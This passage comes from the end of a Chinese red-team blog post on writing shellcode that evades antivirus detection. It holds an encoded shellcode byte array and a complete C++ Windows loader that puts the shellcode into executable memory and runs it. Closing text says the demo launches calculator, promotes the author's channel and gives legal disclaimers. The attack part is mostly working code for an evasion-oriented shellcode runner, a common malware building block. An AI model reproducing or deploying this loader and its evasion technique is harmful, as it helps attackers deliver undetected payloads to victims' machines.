"Ö" "¥" "\x1b" "Ú" "³" "\x1a" "Ô" "\xad" "\x1b" "Ð" "\x97" "[" "\x1e" "Ú" "·" "4" "°" "c" "\x1a" "Ô" "\xad" "b" "\x88" "\x1a" "Ô" "¯" "\x12" "Ø" "O" "Ø" "\x1b" "\x92" "´" "S" "\x1f" "R" "\x90" "\x1e" "Ô" "µ" "\x1b" "¬" "\x9a" "\x1a" "Ô" "¯" "\x1f" "Ø" "[" "\x1e" "Ô" "§" "\x1f" "j" "X" "\'" "^" "\x1e" "Ô" "½" "&" "\x82" "\x1a" "\x92" "µ" "S" "\x9f" "\x1a" "Ô" "¯" "¬" "\x92" "\x1e" "Ö" "·" "\x1e" "b" "\x88" "\x1e" "Ô" "§" "\x17" "Ø" "\t" "O" "\x1f" "Ô" "¤" "\x1e" "R" "\x90" "\x1e" "Ô" "¿" "\x16" "Ø" "o" "Ø" "\x1a" "Ô" "\xad" "\x1e" "R" "\x94" "\x1e" "b" "¥" "\x1b" "b" "\x93" "\x1a" "Ð" "\x96" "S" "\x03" "\x1a" "Ô" "®" "\x1b" "ë" "Ï" "Í" "À" "Ï" "\x82" "É" "Ô" "É" "\x1a" "Ð" "¯" "S" "\x1b" "¤" "\x83" "\x1e" "Ô" "½" "\x03" "\x1a" "Ô" "\xad" "\x1b" "Ú" "²" "\x1e" "Ö" "·" "\x1b" "b" "\x81" "\x1e" "Ô" "½" "\x1b" "¬" "\x91" "\x1a" "Ô" "\xad" "\x1b" "Ð" "¿" "c" "\x1a" "Ô" "¯" "\x12" "¬" "\x84" "\x1e" "Ô" "§" "S" "S" "S" "S" "S";
int main() {
size_t shellcode_size = sizeof(shellcode);
void* exec_mem = VirtualAlloc(nullptr, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec_mem == nullptr) {
std::cerr << "Memory allocation failed\n";
return -1;
}
memcpy(exec_mem, shellcode, shellcode_size);
auto shellcode_func = reinterpret_cast<void(*)()>(exec_mem);
shellcode_func();
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
编译并运行它,你应该会看到熟悉的Windows计算器!
好了,这篇文章就到这里。但我预计在不久的将来,我会围绕多态性位置无关代码(PIC)Shellcode做更多的开发和研究工作。敬请关注!
ANY.RUN结果
如果你对网络安全、红队攻防技术充满热情,渴望学习更多实战技巧,例如渗透测试、自动化脚本编写、免杀技术等, 欢迎关注我的公众号
在这里,我会持续分享更多高质量的技术文章,与你一同探索网络安全的奥秘,提升实战技能! 让我们一起在队攻防的道路上,不断精进,突破边界!
免责声明: 本文仅供安全技术研究与学习交流之用。 严禁将本文所提及的技术用于任何非法用途,包括但不限于未经授权的渗透测试、网络攻击、恶意代码传播等。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:红队工坊 aeverj《如何编写免杀的shellcode》